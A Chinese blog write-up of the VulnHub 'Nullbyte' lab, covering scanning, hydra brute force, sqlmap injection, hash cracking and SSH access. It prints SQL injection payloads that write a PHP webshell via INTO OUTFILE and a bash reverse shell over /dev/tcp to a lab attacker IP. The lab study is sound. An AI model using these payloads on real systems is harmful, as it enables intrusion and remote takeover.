vulnhub_machines

cvestone 发布于 2024-11-05 3.23k 次阅读 16913 字 预计阅读时间: 1 小时


Table of Contents

方法指导

记录什么

  • 学习技术专题的要点;
  • 成功调试或配置的命令;
  • 找到的参考资料;
  • 技术⼼得;
  • 反思、复盘和整理

记录方式

要点式

比如: 通⽤,记⼀些全局性的、未归类的; 枚举,各种协议的枚举⼿段,⽐如按端⼝分类、按协议名分类; 传输⽂件,记录各种搬运⽂件的⽅式; metasploit⼯具⽤法; 各种反弹shell; 密码破解; 端⼝转发技术; 后利⽤; SQL注⼊,mssql、MySQL、Oracle等不同的注⼊命令; 缓冲区溢出; 动态⽬录; 绕过技术; 杂项。。。

writeup式

即记录⼀个完整的攻防过程,参考https://0xdf.gitlab.io/2023/05/20/htb-precious.html

从比赛角度记

从考试角度记

Nullbyte(待解决)

记录文件参考

nmap四扫结果

  • tcp详细扫:
┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ sudo nmap -sT -sV -sC -O -p80,111,777,46988 192.168.59.133 -oA nmapscan/tcpdetails
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 21:24 EDT
Nmap scan report for 192.168.59.133
Host is up (0.00076s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35043/tcp6  status
|   100024  1          37122/udp   status
|   100024  1          46988/tcp   status
|_  100024  1          49400/udp6  status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|   256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_  256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
46988/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:B8:11:D5 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds

80端口的web服务优先尝试,rpc和ssh优先级靠后些

  • udp全端口:

  • tcp漏扫:

┌──(kali㉿kali)-[/1-20/Nullbyte]                                                                                                                                                      
└─$ sudo nmap --script=vuln -p 80,111,777,46988 192.168.59.133 -oA nmapscan/tcpvuln                                                                                                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 21:25 EDT                                                                                                                    
Pre-scan script results:                                                                                                                                                              
| broadcast-avahi-dos:                       
|   Discovered hosts:                        
|     224.0.0.251                            
|   After NULL UDP avahi packet DoS (CVE-2011-1002).                                       
|_  Hosts are all up (not vulnerable).       
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan                 
NSE Timing: About 93.39% done; ETC: 21:26 (0:00:00 remaining)                              
Stats: 0:04:45 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan                 
NSE Timing: About 99.21% done; ETC: 21:30 (0:00:02 remaining)                              
Nmap scan report for 192.168.59.133          
Host is up (0.00060s latency).               

PORT      STATE SERVICE                      
80/tcp    open  http                         
|_http-csrf: Couldn't find any CSRF vulnerabilities.                                       
|_http-dombased-xss: Couldn't find any DOM based XSS.                                      
| http-slowloris-check:                      
|   VULNERABLE:                              
|   Slowloris DOS attack                     
|     State: LIKELY VULNERABLE               
|     IDs:  CVE:CVE-2007-6750                
|       Slowloris tries to keep many connections to the target web server open and hold    
|       them open as long as possible.  It accomplishes this by opening connections to     
|       the target web server and sending a partial request. By doing so, it starves       
|       the http server's resources causing Denial Of Service.                             
|                                            
|     Disclosure date: 2009-09-17            
|     References:                            
|       http://ha.ckers.org/slowloris/       
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750                       
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                           
| http-enum:                                 
|   /phpmyadmin/: phpMyAdmin                 
|_  /uploads/: Potentially interesting folder                                              
111/tcp   open  rpcbind                      
777/tcp   open  multiling-http               
46988/tcp open  unknown                      
MAC Address: 00:0C:29:B8:11:D5 (VMware)

漏扫没有太多有价值的信息,就80端口初步探测到了两个有价值的目录,且gobuster目录爆破结果表明除了javascript与上述外没有更多额外有价值目录,可以先尝试访问下,其中phpmyadmin和数据库有关,upload如果能访问到,对文件上传漏洞利用有帮助

web渗透

访问网站出现提示: 2024-06-18-09-42-01 按提示搜索了解这个法则,大致看了看,暂时没有明白什么意思。 尝试访问下nmap扫到的目录: 2024-06-18-09-59-16 不允许访问 2024-06-18-09-59-43 是phpmyadmin的后台登录页面,先尝试用默认凭据(root:空密码)登录: 2024-06-18-10-02-13 尝试万能密码也无果,由于爆破可能会触发某些密码策略机制以及时间成本故暂不考虑,接下来尝试先用sqlmap跑,首先随便输入账号密码,burp抓包,将该请求包内容均复制,分别在用户名密码对应字段值末尾添加*指定为可能存在注入的参数,然后保存为一个文本文件req1.txt,结果用sqlmap跑后尝试多种方案都没有结果,猜测是有做了一些较特殊的防护。 (PS: 到这里基本卡了有一阵子,多次尝试,综合获取到的信息没有找到什么有价值的信息,因此稍微看了下靶机精讲视频前部分)

(视频提示)尝试挖掘图片隐写信息

看了视频发现我遗漏了很关键的信息,就是网站出现的图片,出现图片应该考虑是否存在信息隐写的情况!因此,下载图片到本地,先分别用file(主要用来确认文件格式类型)和exiftool(不仅仅是图片,只要是下载后的文件都可以用该命令先查看文件的元数据信息)查看:

┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ file level1.gif 
level1.gif: GIF image data, version 89a, 235 x 302

┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ exiftool level1.gif 
ExifTool Version Number         : 12.67
File Name                       : level1.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2024:06:18 00:56:13-04:00
File Access Date/Time           : 2024:06:18 01:28:42-04:00
File Inode Change Date/Time     : 2024:06:18 00:57:07-04:00
File Permissions                : -rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071

注意到Comment字段值中包含一段字符串,猜测很有可能是密码或者其他敏感信息,综合搜集到的信息,可以依次将其(先取后半部分,因为前半部分看起来像笑脸,作为密码可能性不大,无果后再尝试)作为phpadmin后台密码、ssh的root密码来尝试,尝试后无果。 还要联想到这类信息如果不是凭据还可能是敏感目录名敏感文件名,尝试后成功找到: 2024-06-18-13-38-31 查看源码: 2024-06-18-13-38-55 提示说这个表单不和后端数据库做交互,且这里的key也不是复杂密码,那很显然这就是在告诉我们可以尝试爆破表单值

尝试用hydra爆破表单值

确定了需求,可以谷歌搜索看看有没有什么解决方案: 2024-06-18-14-05-25 最终定位到这篇文章 文章表明可以用hydra爆破表单并举例子详细说明了用法。 F12-网络,随便输入key然后ctrl+R,捕获到该请求包,发现表单提交时是post请求,并且刚刚输入的key值在payload中也显示出来: 2024-06-18-14-14-45 2024-06-18-14-14-51 结合页面给的报错提示,至此可以尝试构造hydra了:

┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ sudo hydra -l none -P /usr/share/wordlists/rockyou.txt 192.168.59.133 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -V
。。。
[ATTEMPT] target 192.168.59.133 - login "none" - pass "destination" - 25255 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.59.133 - login "none" - pass "deathangel" - 25256 of 14344399 [child 5] (0/0)
[ATTEMPT] target 192.168.59.133 - login "none" - pass "dale88" - 25257 of 14344399 [child 7] (0/0)
[80][http-post-form] host: 192.168.59.133   login: none   password: elite
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-18 02:41:26

虽然这里的情况和文章示例有些差异,把key当作password来构造命令就行,但是用户名也要指定,虽然这里没有用户名的表单项,但不指定hydra会报错。最终爆破出了key值为elite。输入后进入另一表单页面,看功能是通过输入用户名来获取用户对应的信息: 2024-06-18-14-44-41 并且注意到请求是get的方式,这里的功能显然很可能就是和后台数据库做交互了,从后端数据库查询数据再返回给前端,因此可以尝试sql注入

sql注入

老规矩还是先用sqlmap扫:

┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ sudo sqlmap -u http://192.168.59.133/kzMb5nVYJw/420search.php?usrtosearch=root -v 4
。。。
[02:50:28] [DEBUG] setting the HTTP User-Agent header
[02:50:28] [DEBUG] creating HTTP requests opener object
[02:50:29] [INFO] resuming back-end DBMS 'mysql' 
[02:50:29] [INFO] testing connection to the target URL
[02:50:29] [TRAFFIC OUT] HTTP request [#1]:
GET /kzMb5nVYJw/420search.php?usrtosearch=root HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.8.5#stable (https://sqlmap.org)
Host: 192.168.59.133
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

[02:50:29] [DEBUG] declared web page charset 'utf-8'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: usrtosearch=root" OR NOT 9840=9840#
    Vector: OR NOT [INFERENCE]#

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: usrtosearch=root" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71766b6a71,(SELECT (ELT(9245=9245,1))),0x716b787071,0x78))s), 8446744073709551610, 8446744073709551610)))-- Izlj
    Vector: AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: usrtosearch=root" AND (SELECT 5073 FROM (SELECT(SLEEP(5)))UCBe)-- rtZt
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=root" UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x4a70655477626d50744d596279654e4f4c6947436b685755734b475668684562626d5652594f5245,0x716b787071),NULL#
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL#
---
[02:50:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.5
[02:50:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.59.133'

[*] ending @ 02:50:29 /2024-06-18/

很快扫到并给出了payload,然后接下来就可以做sql注入中的信息搜集与爆库爆表等了:

  • 当前数据库banner信息(版本号):
[03:59:35] [DEBUG] performed 1 query in 0.03 seconds
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.5
banner: '5.5.44-0+deb8u1'
  • 当前数据库名:
[02:55:24] [DEBUG] performed 1 query in 0.03 seconds                                                    current database: 'seth'                                                     
  • 当前用户:
[02:58:26] [DEBUG] performed 1 query in 0.04 seconds
current user: 'root@localhost'

当前用户就是root了,运气很好

  • 所有数据库:
[03:04:25] [DEBUG] performed 1 query in 0.03 seconds
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

  • seth库中所有表:
[03:06:13] [DEBUG] performed 2 queries in 0.28 seconds
Database: seth
[1 table]
+-------+
| users |
+-------+
  • seth库中users表的所有列:
[03:13:53] [DEBUG] performed 2 queries in 0.06 seconds
Database: seth
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| position | text        |
| user     | text        |
| id       | smallint(6) |
| pass     | text        |
+----------+-------------+
  • seth库的所有用户名与密码
[03:25:55] [DEBUG] performed 2 queries in 0.05 seconds
[03:25:55] [DEBUG] analyzing table dump for possible password hashes
Database: seth
Table: users
[2 entries]
+--------+
| user   |
+--------+
| isis   |
| ramses |
+--------+

[03:25:55] [INFO] table 'seth.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.59.133/dump/seth/users.csv'

[03:27:09] [DEBUG] performed 3 queries in 0.06 seconds
[03:27:09] [DEBUG] analyzing table dump for possible password hashes
Database: seth
Table: users
[2 entries]
+---------------------------------------------+
| pass                                        |
+---------------------------------------------+
| YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE |
| --not allowed-- |
+---------------------------------------------+

[03:27:09] [INFO] table 'seth.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.59.133/dump/seth/users.csv'

然后还有个phpmyadmin库中的信息也需要搜集一下:

  • phpmyadmin库的所有表:
[03:30:16] [DEBUG] performed 2 queries in 0.07 seconds
Database: phpmyadmin
[17 tables]
+-----------------------+
| pma__bookmark         |
| pma__column_info      |
| pma__designer_coords  |
| pma__favorite         |
| pma__history          |
| pma__navigationhiding |
| pma__pdf_pages        |
| pma__recent           |
| pma__relation         |
| pma__savedsearches    |
| pma__table_coords     |
| pma__table_info       |
| pma__table_uiprefs    |
| pma__tracking         |
| pma__userconfig       |
| pma__usergroups       |
| pma__users            |
+-----------------------+
  • phpmyadmin库中表pma__users的所有列:
[03:31:49] [DEBUG] performed 2 queries in 0.05 seconds
Database: phpmyadmin
Table: pma__users
[2 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| usergroup | varchar(64) |
| username  | varchar(64) |
+-----------+-------------+
  • phpmyadmin库中表pma__users的所有数据: 然而并没有结果显示,尝试其他表后也没有发现什么有价值信息 综上获取到的信息,下一步就是破解hash,然后尝试登录ssh等

hashcat破解mysql数据库密码hash【失败尝试】

在破解之前最好先识别一下hash所用的加密算法:

┌──(kali㉿kali)-[/1-20/Nullbyte]
└─$ hash-identifier                                            
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

 Not Found.

识别不出来,尝试直接用hashcat自动识别并破解,由于尝试用linux破解速度太慢,故尝试用带有显卡A卡支持的windows破解, 在破解之前,先用-b选项对当前显卡破解能力进行hashcat自测(基准测试hashcat破解各种密码hash的速度,同时检查GPU和相应的显卡驱动):

F:\sectools\hashcat-6.2.6>hashcat.exe -b
hashcat (v6.2.6) starting in benchmark mode
。。。
--------------------------------------------------------
* Hash-Mode 7500 (Kerberos 5, etype 23, AS-REQ Pre-Auth)
--------------------------------------------------------

* Device #3: ATTENTION! OpenCL kernel self-test failed.

Your device driver installation is probably broken.
See also: https://hashcat.net/faq/wrongdriver

Speed.#1.........:   618.6 MH/s (80.89ms) @ Accel:256 Loops:256 Thr:32 Vec:1
Speed.#3.........:  3820.2 kH/s (67.10ms) @ Accel:2 Loops:1024 Thr:8 Vec:4
Speed.#*.........:   622.4 MH/s

(待完善)解决windows使用hashcat中显卡模式破解时的问题

很快便检测到了问题,打开上面官方url后,官方解决步骤如下:

Windows specific steps:

1.Completely uninstall the current driver (use Windows Software Center)
2.Reboot
3.Recommended: Download and start Driver Fusion (free version is enough; select “Display”, AMD/NVidia/Intel, ignore the warning about Premium version)
4.Reboot
5.Make sure that no Intel OpenCL SDK, AMD-APP-SDK or CUDA-SDK framework is installed – if it is installed, uninstall it!
6.Manually delete remaining OpenCL.dll, OpenCL32.dll, OpenCL64.dll files on all folders. You should find at least 2. They usually reside in “c:\windows\syswow64” and “c:\windows\system32”. This step is very important!
7.Reboot
8.Install the driver recommended on https://hashcat.net/hashcat/. If it says “exact”, it means exact.
9.Reboot
10.Reinstall hashcat - choose:
    Stable version: Download and extract the newest hashcat from https://hashcat.net/
    Beta version: https://hashcat.net/beta/
    Development version: git clone https://github.com/hashcat/hashcat
11.Try to run hashcat --benchmark
------------------------------------------------------
Linux specific steps:

1.Completely uninstall the current driver
    NVIDIA: nvidia-uninstall
    AMD: amdconfig --uninstall=force
    If you installed the driver via a package manager, remove those packages
    Make sure to purge those packages, not just uninstall them
2.Reboot
3.Make sure that no Intel OpenCL SDK, AMD-APP-SDK or CUDA-SDK framework is installed – if it is installed, uninstall it!
4.Find all packages installed that provide a libOpenCL, then purge them:
    dpkg -S libOpenCL
    find / -name libOpenCL\* -print0 | xargs -0 rm -rf
5.Reboot
6.apt-get install ocl-icd-libopencl1 opencl-headers clinfo
7.Install the driver recommended on https://hashcat.net/hashcat/. If it says “exact”, it means exact.
For AMD GPUs on Linux, see ROCm instructions here.
8.Reboot
9.rm -rf ~/.hashcat/kernels
10.Reinstall hashcat - choose:
    Stable version: Download and extract (use “7z x” to extract) the newest hashcat from https://hashcat.net/
    Beta version: https://hashcat.net/beta/
    Development version: git clone https://github.com/hashcat/hashcat
11.Try to run clinfo first in your terminal
12.Try to run hashcat --benchmark

首先,卸载n卡的图形驱动程序: 2024-06-19-11-34-23 然后重启。

安装Driver Fusion免费版并打开,然后健康检查-检查问题,扫描后,检索nvidia,依次点击修复此问题 2024-06-19-11-47-53 然而需要专业版才能使用该功能,这就不得不去寻找破解版,虽然安全性无法保证,但评估风险后依然决定继续安装,然而尝试多次破解版的无法打开,因此只能试图寻找其他同类可替代软件,最终找到了这个 然后扫描,自动更新并安装驱动即可: 2024-06-19-13-10-09 安装后重启。

然后根据第5步删除相应SDK,再根据第6步手动搜索并删掉两个目录下的与opencl相关的三个dll,权限不够可以用360等自带的强力删除,继续重启。这两步是最重要的。

至此,先重新打开hashcat的自测模式看看都会遇到哪些报错:

F:\sectools\hashcat-6.2.6>hashcat.exe -b
hashcat (v6.2.6) starting in benchmark mode

Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.

ATTENTION! No OpenCL, Metal, HIP or CUDA installation found.

You are probably missing the CUDA, HIP or OpenCL runtime installation.

* AMD GPUs on Windows require this driver:
  "AMD Adrenalin Edition" (Adrenalin 22.5.1 exactly)
* Intel CPUs require this runtime:
  "OpenCL Runtime for Intel Core and Intel Xeon Processors" (16.1.1 or later)
* NVIDIA GPUs require this runtime and/or driver (both):
  "NVIDIA Driver" (440.64 or later)
  "CUDA Toolkit" (9.0 or later)

重新查看官方提到的GPU驱动需要的版本要求: 2024-06-19-13-47-51 两者是对应上的,首先可以通过nvidia控制面板的房子图标查看当前nvidia驱动版本: 2024-06-19-13-58-54 然后重新安装cuda,全选默认

然而运行时可能依然有报错:

F:\sectools\hashcat-6.2.6>hashcat.exe -a 3 -D 2 ..\hashes.hash ..\wordlists\rockyou.txt -t 1000

hashcat (v6.2.6) starting in autodetect mode

Successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
             CUDA SDK Toolkit required for proper device support and utilization.
             Falling back to OpenCL runtime.

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: NVIDIA GeForce RTX 4060 Laptop GPU, 8064/8187 MB (2046 MB allocatable), 24MCU

OpenCL API (OpenCL 3.0 ) - Platform #2 [Intel(R) Corporation]
=============================================================
* Device #2: Intel(R) UHD Graphics 770, 15072/30220 MB (2047 MB allocatable), 16MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5700 | Cisco-IOS type 4 (SHA256) | Operating System

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

出现了以下问题报错:

  • 问题1 Failed to initialize NVIDIA RTC library.
  • 问题2 WARNING! Kernel exec timeout is not disabled.
  • 问题3 nvmlDeviceGetFanSpeed(): Not Supported

通过搜索,解决如下: 对于问题1,在官网选择好对应平台安装cuda,然后重启电脑,再次运行hashcat后该报错已消失。(前面如果正确安装好了cuda一般就不会出现这个问题)

对于问题2,对于win11和win10解决方案不同,win11需管理员身份打开Nsight Monitor,注意该软件默认使用端口8000,如果报错出现端口占用,在任务栏中,右击该软件对应图标,选择Options,即可修改: 2024-06-19-10-40-13 重启软件。然后依然是该选项设置中,将WDDM TDR Enabled改成False,然后重启电脑。

  • 产生这一报错的原因: 在使用极端性能设置运行hashcat时,用户可能会遇到崩溃,然后通过驱动程序重置自动恢复GPU。这是由于内核运行时超过2秒限制造成的。此功能对于防止屏幕冻结很有用,但对于hash破解没有用处。
  • 解决该报错的流程意义: 此操作是为了禁用TDR; TDR(超时检测和恢复)功能。TDR是Windows Vista之后的版本引入的一种机制,用于检测和恢复显卡驱动程序的停止响应问题。如果操作系统在一定时间内没有收到显卡的响应,就会触发TDR,重置显卡,并显示“显卡驱动程序已停止响应,并且已恢复”的提示。

注意:禁用TDR功能可能会导致系统不稳定或无法恢复显卡问题。这种方法只适合在开发或测试过程中使用,并不推荐普通用户使用。

对于问题3,经过搜索后表明这不是hashcat的错误,并且影响不大可以忽略

重新启动并运行后,虽然能破解但发现完全无法发挥GPU所有性能,甚至比在linux上破解时还要慢,出现新的问题:

  • 问题4
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

PS:然而解决了上述破解遇到的问题后,最终还是没有破解出来,卡了至少有一天。

(视频提示)加密字符串重新识别与john/hashcat破解mysql数据库密码hash

看了视频才发现,原来我破解的对象就错了,我破解的是真正的hash值经过base64加密后的,因此刚开始hash-identifier很快就输出识别不了;而视频中是先对加密字符串进行base64解码后再破解,这里反思到是我对常见加密与哈希值的识别经验不足。正确步骤如下:

┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte]
└─$ echo -n YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | base64 -d    
c6d6bd7ebf806f43c76acc3681703b81base64: invalid input

此时,c6d6bd7ebf806f43c76acc3681703b81才是真正的hash值! 识别hash算法:

 HASH: c6d6bd7ebf806f43c76acc3681703b81                          
Possible Hashs:                                            
[+] MD5                                                     
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))   

表明是MD5类型算法。

用john破解该hash值:

┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
omega            (?)     
1g 0:00:00:00 DONE (2024-06-19 03:15) 100.0g/s 1152Kp/s 1152Kc/s 1152KC/s verbatim..snuffy
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

用linux的hashcat同样也很快破解出:

┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte] 
└─$ sudo hashcat -m 0 -a 0 md5_hash /usr/share/wordlists/rockyou.txt
。。。
c6d6bd7ebf806f43c76acc3681703b81:omega     
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: c6d6bd7ebf806f43c76acc3681703b81
Time.Started.....: Wed Jun 19 03:10:57 2024 (0 secs)
Time.Estimated...: Wed Jun 19 03:10:57 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1095.9 kH/s (0.54ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12288/14344385 (0.09%)
Rejected.........: 0/12288 (0.00%)
Restore.Point....: 8192/14344385 (0.06%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: total90 -> hawkeye
Hardware.Mon.#1..: Util: 11%  

并且发现之前-a参数也用错了,之前选的3是爆破模式,而0才是字典模式。

因此,得到密码omega,保存。

获取到立足点

结合已知服务密码碰撞

结合破解的密码和已知的两个用户,很显然接下来可以尝试密码碰撞,结合已知的服务, 即凭据:

root:omega
isis:omega
ramses:omega

最后通过ssh碰撞成功:

┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte]
└─$ ssh ramses@192.168.59.133 -p 777
ramses@192.168.59.133's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ whoami
ramses

ramses@NullByte:~$ id 
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)

(视频补充部分)结合mysql文件手工写入简单一句话木马获取shell

视频中还提到了另一种获取立足点的方式,我发现我欠考虑了mysql的banner版本,由于版本5.5.44-0+deb8u15.7.6之前,故还可以利用mysql的文件读写功能来实现: 1" union select "<?php system($_GET['cvestone']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- - 这里的uploads是之前目录爆破得到的 2024-06-19-16-19-48 尝试是否能访问到木马文件并执行简单命令: 2024-06-19-16-22-26 不过相比前面的方式此处获取到的shell权限较低。当然,也可以用哥斯拉等webshell管理器生成的木马,但同样要注意转义。

注意如果要通过此方式执行更多命令时,要记得对特殊字符做url编码后再执行

(视频补充部分)结合mysql文件手工写入大马反弹shell

前面利用小马拿到的shell交互性很有限,因此还可以尝试写入大马: 1" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.59.131/1234 0>&1'\"); ?>",2,3 into outfile "/var/www/html/uploads/revshell.php"; -- -

关于这段大马的分析:

然后kali开启监听:

sudo nc -lvnp 1234

然后访问该大马后反弹成功: 2024-06-19-16-58-11

通过普通用户的shell泄露网站源码与数据库连接信息

虽然获取到的不是root权限用户,但普通用户权限完全可以尝试访问网站所在目录:

ramses@NullByte:/var/www/html$ ls
index.html  kzMb5nVYJw  main.gif  main.gif_original  uploads
ramses@NullByte:/var/www/html$ cd kzMb5nVYJw/
ramses@NullByte:/var/www/html/kzMb5nVYJw$ ls
420search.php  index.php
ramses@NullByte:/var/www/html/kzMb5nVYJw$ cat 420search.php 
<?php
$word = $_GET["usrtosearch"];

$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
$sql = 'SELECT id, user, position FROM users WHERE user LIKE "%'.$word.'%" ';

mysql_select_db('seth');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
  die('Could not get data: ' . mysql_error());
}
while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
{
    echo "EMP ID :{$row['id']}  <br> ".
         "EMP NAME : {$row['user']} <br> ".
         "EMP POSITION : {$row['position']} <br> ".
         "--------------------------------<br>";
} 
echo "Fetched data successfully\n";
mysql_close($conn);

?>

泄露出数据库管理员凭据: root:sunnyvale 以及非mysql默认端口3036

尝试碰撞root的ssh

虽然感觉肯定不会这么容易,但还是有必要,因为实际环境中,少有情况会出现数据库root密码与主机root密码相同。尝试碰撞后无果。

尝试连接phpmyadmin获取更多信息

用上面的凭据登录成功,发现一条较为关键提示: 2024-06-19-15-47-23 isis用户的身份是employee,说明其权限可能相对ramses较高,不过这些信息在sqlmap跑的时候也能获取到,至此没有什么新的发现。

权限提升(有部分不明白,待研究)

find / -group ramses -type f 2>/dev/null | grep -v '/proc' 排除/proc  (按照组权限)
